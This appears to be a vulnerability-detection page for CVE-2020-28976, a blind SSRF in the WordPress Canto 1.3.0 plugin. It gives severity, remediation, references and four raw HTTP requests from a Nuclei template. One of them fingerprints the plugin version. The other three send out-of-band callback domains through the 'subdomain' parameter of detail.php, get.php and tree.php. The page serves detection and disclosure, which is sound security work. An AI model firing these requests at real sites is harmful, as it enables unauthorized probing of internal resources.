🔙 목록으로 돌아가기

CVE-2020-28976: WordPress Canto 1.3.0 - Blind Server-Side Request Forgery

TitleWordPress Canto 1.3.0 - Blind Server-Side Request Forgery
AuthorLogicalHunter
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources and potential data leakage.
RemediationUpdate WordPress Canto to the latest version (1.3.1) or apply the patch provided by the vendor.
CVSS Score5.3
EPSS Score0.2575
CVE IDCVE-2020-28976
CWE IDCWE-918
Tags cve2020 cve packetstorm ssrf wordpress wp-plugin oast edb canto vuln

🔍 Vulnerability Description

WordPress Canto plugin 1.3.0 is susceptible to blind server-side request forgery. An attacker can make a request to any internal and external server via /includes/lib/detail.php?subdomain and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

GET /wp-content/plugins/canto/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/4.0
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/canto/includes/lib/detail.php?subdomain=d5josd1le0o1ko5ckr3gbpbkxgsqkay1j.oast.pro HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-content/plugins/canto/includes/lib/get.php?subdomain=d5josd1le0o1ko5ckr3gxfmwpjgmncm56.oast.pro HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.10
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-content/plugins/canto/includes/lib/tree.php?subdomain=d5josd1le0o1ko5ckr3gj9kozkrckrrxx.oast.pro HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/601.4.4 (KHTML, like Gecko) Version/9.0.3 Safari/537.86.4
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-28976.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-28976.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A